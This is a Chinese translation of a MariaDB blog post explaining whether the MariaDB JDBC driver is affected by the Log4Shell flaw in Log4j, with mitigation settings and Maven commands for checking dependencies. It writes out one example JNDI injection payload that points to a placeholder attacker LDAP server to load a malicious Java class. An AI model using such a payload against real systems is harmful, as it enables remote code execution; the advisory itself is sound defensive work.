原文地址:https://mariadb.com/resources/blog/is-the-mariadb-jdbc-driver-affected-by-the-log4j-vulnerability/
原文作者:Alejandro Duarte
MariaDB Java 连接器 是否受 Log4j 最近发现的安全漏洞影响?默认情况下,Java 连接器不使用 Log4j。但是,如果您已经将其配置为使用 SLF4j,请继续阅读。
有关 MariaDB JDBC 驱动程序范围之外的信息,请阅读 Log4Shell 和 MariaDB。
注:本博客更新于2021-12-15,包括关于 CVE-2021-45046 的细节。
Log4j 脆弱性
Apache Log4j 是一个流行的用于Java应用程序的开源日志框架。它被用于各种开源和企业项目,包括云供应商和电子邮件服务提供商。2021年12月9日,在Log4j中发现了一个可以导致远程代码执行的0天漏洞,允许黑客在系统中执行任意代码。该漏洞被称为“Log4Shell”,被跟踪为 CVE-2021-44228。
简而言之,该漏洞允许攻击者注入 JNDI 查找字符串,并且调用它,例如,远程 LDAP 服务器(被攻击者控制),后者返回一个恶意的Java类:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
如果 Log4j 记录了这样的字符串,恶意 Java 类就可以运行任意代码 (例如,通过静态代码块)。
版本影响
幸运的是,只有 Log4j 2.x 版本,2.15.0之前版本受到影响。有关更多信息,请参阅 Apache Log4j 安全漏洞 页面。该漏洞在 Log4j 1.x 版本中不存在。
如何减轻 CVE-2021-44228
减轻该漏洞的最佳策略是更新项目中的 Log4j 依赖项。版本 2.16.0 中已经移除消息查找,并已发布版本。感谢团队的快速发布。
更新:Log4j 2.16.0 还修复了跟踪的第二个漏洞 CVE-2021-45046。
MariaDB JDBC 驱动程序没有使用Log4j 2.x。但是,它支持 SLF4J。检查你是否使用了绑定 Log4j 的 SLF4J。如果是,升级相应地 Log4j 或设置以下配置变量:
-Dlog4j2.formatMsgNoLookups=true
或者,设定下面的环境变量:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
注意:日志记录仅在由 log
参数显式设置时启用。除了 Log4j,你也可以选择其他的 SLF4J 绑定,比如 Jakarta Commons Logging, Logback,或者 Java Logging API。
如果你正在使用 Maven,你可以运行以下命令来确定你的项目是否依赖于 Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
下面这个例子是你在一个脆弱项目中可能得到的输出:
如果由于某些原因你的项目不能编译,你也可以运行:
mvn help:effective-pom
搜索 log4j-core
依赖项并检查使用的版本。
更多信息
博客链接列表: